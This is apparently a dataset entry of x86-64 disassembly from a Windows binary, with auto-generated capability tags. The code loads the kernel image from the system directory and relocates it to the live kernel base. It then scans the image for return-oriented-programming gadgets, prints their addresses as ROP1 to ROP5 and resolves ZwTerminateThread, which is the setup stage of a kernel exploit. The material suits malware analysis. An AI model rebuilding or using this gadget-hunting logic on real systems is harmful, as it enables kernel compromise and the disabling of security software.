Function at 0x140070060
Capabilities:
Get common file path
Get file size
Read file on windows

Disassembly:
push rbp
lea rbp, [rsp - 0x1d0]
sub rsp, 0x2d0
mov rax, qword [0x14067e680]
xor rax, rsp
mov qword [rbp + 0x1a0], rax
cmp byte [0x14068823a], 0
je 0x140070092
mov al, 1
jmp 0x1400706b7
mov qword [rsp + 0x2e0], rbx
mov qword [rsp + 0x2c0], r13
xor r13d, r13d
mov qword [rsp + 0x2b0], r15
mov r15d, r13d
lea ecx, [r13 + 0xb]
call fcn.14006fb90
mov rbx, rax
test rax, rax
je 0x14007069d
cmp dword [rax], r13d
jbe 0x14007069d
mov rcx, qword [rax + 0x18]
mov edx, 0x104
mov qword [0x140688408], rcx
mov ecx, dword [rax + 0x20]
mov dword [0x1406883f4], ecx
lea rcx, [rbp + 0x90]
movzx r8d, word [rax + 0x2e]
mov qword [rsp + 0x2f0], rdi
add r8, 0x30
mov qword [rsp + 0x2e8], rsi
add r8, rax
mov qword [rsp + 0x2c8], r12
mov qword [rsp + 0x2b8], r14
call fcn.14027fdf4
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov edx, 0x104
lea rcx, [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea r8, [0x140343184]
mov edx, 0x104
lea rcx, [rbp - 0x80]
call fcn.1402803a0
lea r8, [rbp + 0x90]
mov edx, 0x104
lea rcx, [rbp - 0x80]
call fcn.1402803a0
mov qword [rsp + 0x30], r13
lea r8d, [r13 + 7]
mov dword [rsp + 0x28], r13d
lea rcx, [rbp - 0x80]
xor r9d, r9d
mov dword [rsp + 0x20], 3
mov edx, 0x80000000
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x1400701c2
lea rdx, [rsp + 0x70]
mov dword [rsp + 0x70], r13d
mov rcx, rax
xor r14b, r14b
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
test eax, eax
je 0x140070276
cmp dword [rsp + 0x70], r13d
je 0x14007021c
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r11, qword [0x1406883b0]
movzx eax, byte [0x14068823a]
test al, al
jne 0x1400701f7
test r11, r11
je 0x1400701f7
mov rcx, r11
call qword [sym.imp.KERNEL32.dll_LocalFree]
movzx eax, byte [0x14068823a]
mov qword [0x1406883b0], r13
mov dword [0x1406883f0], r13d
mov r14, qword [rsp + 0x2b8]
mov r12, qword [rsp + 0x2c8]
mov rdi, qword [rsp + 0x2f0]
mov rsi, qword [rsp + 0x2e8]
jmp 0x14007069f
mov rdx, rsi
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rbx, rax
test rax, rax
je 0x140070276
xor r9d, r9d
mov dword [rsp + 0x78], r13d
xor r8d, r8d
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
lea r9, [rsp + 0x78]
mov qword [rsp + 0x20], r13
mov r8d, esi
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14007026d
mov r15, rbx
mov r14b, 1
jmp 0x140070276
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test r14b, r14b
je 0x1400701c2
mov esi, dword [r15 + 0x3c]
mov ecx, 0x40
add rsi, r15
mov r12d, dword [rsi + 0x50]
movzx ebx, word [rsi + 0x14]
mov edx, r12d
add rbx, 0x20
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rdi, rax
test rax, rax
je 0x1400703be
mov r8d, r12d
xor edx, edx
mov rcx, rax
call fcn.1402a1120
mov r8d, dword [rsi + 0x54]
mov rdx, r15
mov rcx, rdi
call fcn.1402a0a80
mov r14d, r13d
cmp r13w, word [rsi + 6]
jae 0x14007030c
add rbx, rsi
nop
mov ecx, dword [rbx + 8]
cmp ecx, dword [rbx]
mov edx, dword [rbx + 0xc]
cmovae ecx, dword [rbx]
add rdx, r15
mov r8d, ecx
mov ecx, dword [rbx + 4]
add rcx, rdi
call fcn.1402a0a80
movzx eax, word [rsi + 6]
lea rbx, [rbx + 0x28]
inc r14d
cmp r14d, eax
jb 0x1400702e0
mov r11, qword [0x140688408]
mov qword [0x1406883b0], rdi
mov dword [0x1406883f0], r12d
mov eax, dword [rdi + 0x3c]
mov ecx, dword [rax + rdi + 0xb0]
mov rbx, qword [rax + rdi + 0x30]
mov r14d, dword [rax + rdi + 0xb4]
test ecx, ecx
je 0x1400703be
lea r10, [rdi + rcx]
mov esi, r13d
test r14d, r14d
je 0x1400703be
mov eax, dword [r10 + 4]
test eax, eax
je 0x1400703be
mov r9d, eax
lea rdx, [r10 + 8]
sub r9, 8
mov r8d, r13d
shr r9, 1
test r9d, r9d
je 0x1400703ac
nop word [rax + rax]
movzx eax, word [rdx]
test ax, ax
je 0x1400703a0
movzx ecx, ax
shr cx, 0xc
cmp cx, 0xa
je 0x14007038c
test cx, cx
jne 0x1400703be
jmp 0x1400703a0
and eax, 0xfff
add eax, dword [r10]
mov ecx, eax
mov rax, r11
sub rax, rbx
add qword [rcx + rdi], rax
inc r8d
add rdx, 2
cmp r8d, r9d
jb 0x140070370
mov eax, dword [r10 + 4]
add r10, rax
mov eax, dword [r10 + 4]
add esi, eax
cmp r14d, esi
ja 0x140070350
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov r11, qword [0x1406883b0]
test r11, r11
je 0x1400701c9
mov eax, dword [r11 + 0x3c]
mov r14, qword [0x1406883e8]
add rax, r11
movzx ecx, word [rax + 0x14]
movzx edx, word [rax + 6]
add rcx, 0x20
cmp r13w, dx
jae 0x1400705d8
mov rdi, qword [0x140688408]
lea r12, [rcx + rax]
mov r13d, edx
mov qword [rsp + 0x78], rdx
nop
mov eax, dword [r12 + 0x1c]
and eax, 0x22000000
cmp eax, 0x20000000
jne 0x1400705c2
mov r15d, dword [r12]
mov ebx, 0
sub r15d, 0x100
je 0x1400705c2
mov esi, dword [r12 + 4]
xor r13d, r13d
mov dword [rsp + 0x48], 0x68c48348
mov byte [rsp + 0x4c], 0xc3
mov word [rsp + 0x40], 0xc359
mov dword [rsp + 0x44], 0xc3018948
nop
lea r9d, [rsi + rbx]
mov dword [rsp + 0x50], 0x24448b48
mov dword [rsp + 0x54], 0x4c8b4820
mov rax, r13
mov dword [rsp + 0x58], 0x8b482824
mov dword [rsp + 0x5c], 0x4c302454
mov dword [rsp + 0x60], 0x3824448b
mov dword [rsp + 0x64], 0x244c8b4c
mov dword [rsp + 0x68], 0xc4834840
mov dword [rsp + 0x6c], 0xe0ff4848
nop word [rax + rax]
movzx edx, byte [rsp + rax + 0x50]
cmp dl, 0xff
je 0x1400704c7
lea rcx, [r9 + rax]
mov r8d, r9d
cmp dl, byte [rcx + r11]
jne 0x1400704d7
inc rax
cmp rax, 0x20
jl 0x1400704b0
mov r8d, r9d
lea r14, [r9 + rdi]
lea rcx, [rsp + 0x48]
mov rax, r13
sub r8, rcx
lea r10, [r8 + r11]
nop word [rax + rax]
lea rcx, [rsp + 0x48]
add rcx, rax
movzx edx, byte [rcx]
cmp dl, 0xff
je 0x140070506
cmp dl, byte [rcx + r10]
jne 0x14007051c
inc rax
cmp rax, 5
jl 0x1400704f0
mov eax, r9d
add rax, rdi
mov qword [0x1406883d8], rax
mov r8d, r9d
lea rdx, [rsp + 0x40]
sub r8, rdx
mov rcx, r13
add r8, r11
nop dword [rax]
lea rax, [rsp + 0x40]
add rax, rcx
movzx edx, byte [rax]
cmp dl, 0xff
je 0x140070546
cmp dl, byte [rax + r8]
jne 0x14007055c
inc rcx
cmp rcx, 2
jl 0x140070530
mov eax, r9d
add rax, rdi
mov qword [0x1406883c8], rax
mov r8d, r9d
lea rdx, [rsp + 0x44]
sub r8, rdx
mov rcx, r13
add r8, r11
nop dword [rax]
lea rax, [rsp + 0x44]
add rax, rcx
movzx edx, byte [rax]
cmp dl, 0xff
je 0x140070586
cmp dl, byte [rax + r8]
jne 0x1400705ab
inc rcx
cmp rcx, 4
jl 0x140070570
lea ecx, [rbx + 3]
mov eax, r9d
add rax, rdi
add ecx, esi
add rcx, rdi
mov qword [0x1406883c0], rax
mov qword [0x1406883d0], rcx
inc ebx
cmp ebx, r15d
jb 0x140070460
mov r13, qword [rsp + 0x78]
mov qword [0x1406883e8], r14
add r12, 0x28
sub r13, 1
mov qword [rsp + 0x78], r13
jne 0x140070410
xor r13d, r13d
test r14, r14
je 0x1400701c9
cmp qword [0x1406883d8], 0
je 0x1400701c9
cmp qword [0x1406883c8], 0
je 0x1400701c9
cmp qword [0x1406883c0], 0
je 0x1400701c9
cmp qword [0x1406883d0], 0
je 0x1400701c9
mov rdx, r14
lea rcx, str.___ROP1:__p_n
call fcn.14005de70
mov rdx, qword [0x1406883d8]
lea rcx, str.___ROP2:__p_n
call fcn.14005de70
mov rdx, qword [0x1406883c8]
lea rcx, str.___ROP3:__p_n
call fcn.14005de70
mov rdx, qword [0x1406883c0]
lea rcx, str.___ROP4:__p_n
call fcn.14005de70
mov rdx, qword [0x1406883d0]
lea rcx, str.___ROP5:__p_n
call fcn.14005de70
lea rcx, str.ZwTerminateThread
call fcn.14006fc60
mov qword [0x1406883e0], rax
test rax, rax
je 0x1400701c2
mov al, 1
mov byte [0x14068823a], al
jmp 0x1400701f7
xor al, al
mov r13, qword [rsp + 0x2c0]
mov rbx, qword [rsp + 0x2e0]
mov r15, qword [rsp + 0x2b0]
mov rcx, qword [rbp + 0x1a0]
xor rcx, rsp
call fcn.14025efe0
add rsp, 0x2d0
pop rbp
ret